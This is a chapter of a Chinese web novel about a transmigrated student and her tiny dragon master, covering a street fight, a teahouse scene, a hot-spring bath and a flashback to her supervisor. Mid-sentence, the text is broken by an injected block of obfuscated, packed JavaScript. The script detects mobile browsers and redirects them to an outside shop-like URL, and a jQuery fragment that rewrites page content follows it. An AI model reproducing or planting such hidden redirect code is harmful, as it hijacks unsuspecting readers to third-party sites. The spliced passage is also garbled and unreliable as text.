6. 第 6 章
作品:《穿书后,导师成了师尊》 放完话,女子当即抬手,灵力径直朝沈筠探去。
神识随灵力甫一掠过,她便讶然出声:“灵根毁了……原来你是个废柴?”
被这般无礼地探查,沈筠心头微恼,一丝不悦浮上眉梢。
“噌。”
空荡的丹田深处,小簇微弱火苗姗姗来迟地钻出,将熄未熄。
“让本尊瞧瞧这条龙。”
看清沈筠灵根已毁,女子再无顾忌。手腕一翻,数道金色灵力交织成密网,大剌剌地朝她掌心的小龙罩去。
沈筠眸光骤然一凛,难言的戾气猛地翻涌上来。
小龙师尊本就脆弱,怎经受得住这等蛮横的灵力?
就在戾气涌动的刹那,丹田内有股灼意陡生。那簇黯淡得近乎熄灭的火苗倏地腾高了数倍,赤焰烈烈。
“飒——”
金色灵网转瞬逼近,光芒夺目。却在即将触碰小龙时一霎凭空消弭,似被无形之物吞噬,半点痕迹都未留下。
“什、什么歪门邪道?”
女子压根没感知到灵力或魔气波动,不由满脸惊疑。
她不信邪,咬牙切齿地全力催动功法,周身金光暴涨,衣袂猎猎作响。随着一声嘹亮的龙吟响彻街巷,金色气浪便如海啸般席卷而出,势要将所及之物尽数震碎。
沈筠呼吸发沉,脸色变得苍白。
丹田内那股灼烫的热意难以与身体相融,正顺着经脉窜动啃噬,赤焰在五脏六腑里肆意灼烧,密密麻麻的痛意席卷了全身。
眼见气浪将至,她强忍着体内翻搅的痛楚,抬手一挥。
一股燎烧的灼意骤然从掌心迸发,无形无质,却带着焚毁一切的力道,与那金色气浪轰然相撞,迸溅出刺目的火花。
“嘭——”
炽烈的劲风荡开,周遭空间瞬间扭曲。笼罩街巷的结界承受不住冲击,应声碎裂,外界声响纷涌而来。
“你……”
女子被狠狠掀飞,重重摔落在地,鬓发眉梢都已燎得卷曲,模样颇为狼狈。
她捂着胸口剧烈咳嗽,又惊又恼地瞪着沈筠:“咳咳……你用了什么符箓!”
沈筠唇角缓缓溢出鲜血,垂眸冷眼看着她。
片刻后忽然开口:“你多大了?”
女子略一怔,似是没料到她会问这种无关紧要的话。
回过神,答话的语气嚣张依旧:“本尊今年二十九,怎的?”
“我是一介废柴,你却没打过。”
沈筠轻飘飘地使出组会杀手锏:“那你过去二十九年,岂不是什么都没干?”
女子一愣,旋即勃然大怒:“你!”
她挥袖起身,正欲再度动手,却有一道温和而不容抗拒的灵力压下,迫得她跌回原处。
先前那名居首的腾云阁门徒破空现身,“仙子,天机城内严禁动武。你屡次触犯,请随在下走一趟。”
说罢,门徒朝沈筠略一点头,拎起挣扎的龙族女子,转瞬便消失无踪。
“放开我,你个杀千刀的孟清晏——”
女子不甘的呼声散在风里。
沈筠喘息着,身形晃了晃。
她也不知自己方才如何动用了体内诡异的力量,但显然已超出承受范围。此刻浑身都泛着灼烫的剧痛,四肢百骸似被烈火燎过。
她敞开衣袍,将小龙师尊轻放回心口,自己摸出手帕擦拭唇角血迹。
下一瞬,有什么玉质柔润的东西戳了下巴。
是一对俏生生的龙角探出。
紧接着,小龙师尊整只钻了出来。
睁着一双幽蓝的眸子,一眨不眨静静瞧着她。
是在担心?
沈筠敛着呼吸,弯眸轻声道:“我没事。”
她缓了好片刻,体内灼痛感终于减轻些许,脸色也好看几分。
视线微抬,瞧见师尊的右侧龙角尖尖上,不慎蹭了一点自己的血迹。
沈筠想也没想,捏着帕子的干净处擦拭过去。
软帕刚轻轻摩挲过龙角,小龙师尊骤然一颤,揪着徒儿衣襟的四爪发软,整只便从衣领处滑落下去。
“诶!”
沈筠眼疾手快,连忙抬手去接,堪堪在腰间接住了小龙师尊。
紧接着就被咬了一口。
“我、我是在给你擦血呢!”
沈筠举起手帕,颇为无辜地伸冤。
小龙师尊眸光冷冽,默不作声地钻回她心口,拉紧衣袍。
沈筠无奈地莞尔,将沾染血迹的帕子收好。
心头暗自记下,师尊的龙角不可触碰。
她抬起头,瞧见右方有面青旗飘扬,旗面上绣着偌大的“茶”字。
身体不适感尚未散尽,沈筠当即迈步,欲去歇上片刻。
“且说那日,云召仙君突破大乘,引来九霄雷劫,天地色变。谁料仇敌竟趁虚而入,虎视眈眈。云召仙君以一敌众,身姿绰然,然雷劫浩荡不绝......正逢危机之时,其徒沈均一柄神剑横空杀来,似恶犬护主,屠尽千敌!”
茶馆内,台上说书者眉飞色舞,情绪饱满;台下饮茶人拍手称好,赞叹不绝。
沈筠刚踏进门槛,便扫见个兴致勃勃的身影一一江如许?
原来这便是江师妹要办的事。
沈筠挑了处远离江如许的茶桌坐下,对那凄美故事并不感兴趣。
倒是隔壁桌的两位修士,一直低声谈论着灵石的事,引得她不由屏息侧耳。
“如今三界的灵气日渐稀薄,但凡有新的矿脉现世,皆是各大宗门争破头去抢,岂有我等散修的份?”
“去凑个热闹,捡些零散灵石也是赚的。”
“想得倒美。矿脉凶险万千,比起秘境也不遑多让。你得有命从里头走出来才行!”
矿脉是开采灵石之处。
沈筠心头微动。她如今正缺灵石得紧,可这矿脉听起来凶险异常,还牵扯诸多宗门。不知腾云阁会否插手,回头得问问阁主。
她凝神听着,可惜那两人很快转了话头。
台上说书声依旧激昂:
“.....经此一役,云召仙君重伤闭关,沈均却因耗损过甚,沦为废人。她守着漫漫岁月,在短暂余生里熬成望妻石,独自抚养着她们体弱多病、口不能言的孩儿......"
江如许掏出帕子开始沾泪。
这云兆、沈君的,听着好生耳熟。
沈筠收回视线,将杯中清茶一饮而尽。算着时间快到黄昏,她付了灵石,先行离开。
到城门口不多时,暮色渐至,江如许也匆匆赶来。
“沈师姐,今日东西可买齐了?”
沈筠点头:“你的事办好了?”
“嗯!”
江如许眨眨眼,眼尾还有些泛红。
她抬手催动金符,清风一卷,两人身影瞬间消失在原地。
-
听竹峰庭院。
沈筠将小龙师尊放在软榻上,取出蛋壳:“我去沐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168908|196793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浴更衣,你先用餐。”
先前一番打斗,总觉得身上沾了浅淡的血腥味。
她从柜中取出衣物,在庭院后方寻到书中提及的温泉。
此处四周山石环掩,僻静幽深。清洁法阵运转之下,池水始终清澈洁净。
水汽氤氲,暖意扑面。
沈筠褪衣踏入水中,轻轻舒了口气,只觉浑身疲惫都尽数消失。
泡了半晌,无意低下头,忽然发现这具身体与自己的不同之处——她的心口有一块浅淡胎记,而原主心口处却是一枚玫红色的莲形印记,花瓣纹路清晰。
……这是什么?
沈筠抬手抚过,触感平滑,与寻常肌肤无异。
书中龙凤龟麟四大灵兽皆有伴生花,每一只灵兽的伴生花都独一无二。
师尊的伴生花是莲。
可原文中,并无师尊给原主烙下印记的剧情。
沐浴完,沈筠理好衣袍,若有所思地回到屋里。
刚进门,便见小龙师尊在原处将自己团成一抔雪,旁边的蛋壳分毫未动。
心下一怔,沈筠快步走去。
“怎么了,食欲不振么?”
她有些担心:“是哪里不舒服?”
小龙师尊兀自蜷着,并不看她。尾巴尖却轻动,将蛋壳往她的方向推了推。
“这是……给我?”
沈筠惊愣地眨了眨眼,随即恍然:“因为我今日吐血了,担心我?”
小龙师尊冷淡地瞥她一眼,似嫌她聒噪。
沈筠喉咙陡然涨起一股难名的酸涩滋味,既好笑又动容。
师尊当时因被碰龙角,气恼地缩了回去,谁知还始终惦记着她受伤,竟把珍贵的蛋壳留着让给徒儿吃。
即便姿态依旧矜傲。
沈筠心绪微漾,不由弯眸笑起来:
“我真的没事,身强体壮,也并没有受伤。你才刚破壳,更需要蛋壳的灵韵滋补身子。”
小龙师尊冷若冰霜地瞧着她,龙角支棱得些许倔强。
好吧,盛情难却。
沈筠不愿辜负心意,又不想浪费,便拿起蛋壳掰下极小一块,放进嘴里轻轻咀嚼。
“咯吱咯吱。”
为何师尊吃起来如同绵雪入口即化,到她这里,却是实打实的脆硬蛋壳?
沈筠努力咽了下去。
胎生的和卵生的口味还真是不一样。
“好了,我吃过了。”
沈筠推回蛋壳,柔声劝着:“快吃吧,我自有晚餐,江师妹一会儿便会送来。”
小龙师尊盯她片刻,终是纡尊降贵地开了金口,斯文进起食。
师尊就是师尊。
沈筠在旁注视着,心头温软,忽地忆起某个女人。
年初时,她们师门全体去高海拔地区团建。由于连漪只有她一个学生,所以实际便是师生二人的旅行。
沈筠平日有运动习惯,落地后高反症状略重。半夜,连漪送她去医院吸氧。
采买的几瓶氧气消耗过快,只剩下最后一瓶,她们出门前顺手带上。
出租车后座,路灯光影明灭。
沈筠偏头看见连漪脸颊浮红,眼眸湿润,显然也有些缺氧。
她当即道:“老师,您快吸氧吧。”
女人将最后一瓶氧气拆去包装,仔细安装好吸氧塞,却是不顾反抗地轻扣在沈筠口鼻。
红唇半张,难受地轻喘着,冷声命令:“吸。”
……

